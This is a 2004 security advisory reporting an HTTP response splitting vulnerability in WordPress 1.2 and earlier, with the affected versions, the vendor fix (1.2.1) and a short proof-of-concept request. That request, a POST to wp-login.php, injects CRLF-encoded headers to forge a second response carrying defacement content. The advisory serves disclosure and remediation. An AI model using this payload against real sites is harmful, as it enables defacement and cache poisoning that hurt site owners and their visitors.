[UNIX] HTTP Response Splitting in WordPress

From: SecuriTeam (support_at_securiteam.com)
Date: 10/11/04

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Date: 11 Oct 2004 19:03:09 +0200

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      HTTP Response Splitting in WordPress
    ------------------------------------------------------------------------

    SUMMARY

     <http://wordpress.org/> WordPress is "a state-of-the-art semantic
    personal publishing platform with a focus on aesthetics, web standards,
    and usability. What a mouthful. WordPress is both free and priceless at
    the same time".

    A vulnerability in the product allows remote attackers to cause the
    product to return arbitrary content inside its HTTP response, causing it
    to become vulnerable to an HTTP Response Splitting vulnerability.

    DETAILS

    Vulnerable Systems:
     * WordPress version 1.2 and prior

    Immune Systems:
     * WordPress version 1.2.1

    Vendor status:
    Vendor contacted September 24th. Vendor worked closely with the author and
    promptly produced a fix (see below).

    Solution:
    Use WordPress 1.2.1. See vendor site:
    <http://wordpress.org/development/2004/10/wp-121/>
    http://wordpress.org/development/2004/10/wp-121/

    Exploit:
    HOSTNAME, USER and PASS should be replaced with the relevant values (and
    Content-Length needs to be adjusted accordingly). Replace curly braces
    with less-than and greater-than signs. Code is line wrapped.

    POST /wp-login.php HTTP/1.0
    Host: HOSTNAME
    Content-Type: application/x-www-form-urlencoded
    Content-length: 226

    action=login&mode=profile&log=USER&pwd=PASS&text=%0d%0aConnection:
    Keep-Alive%0d%0aContent-Length:
    0%0d%0a%0d%0aHTTP/1.0 200 OK%0d%0aContent-Length: 21%0d%0aContent-Type:
    text/html%0d%0a%0d%0a{html}*defaced*{/html}

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:chaoticevil@spyring.com>
    Chaotic Evil.

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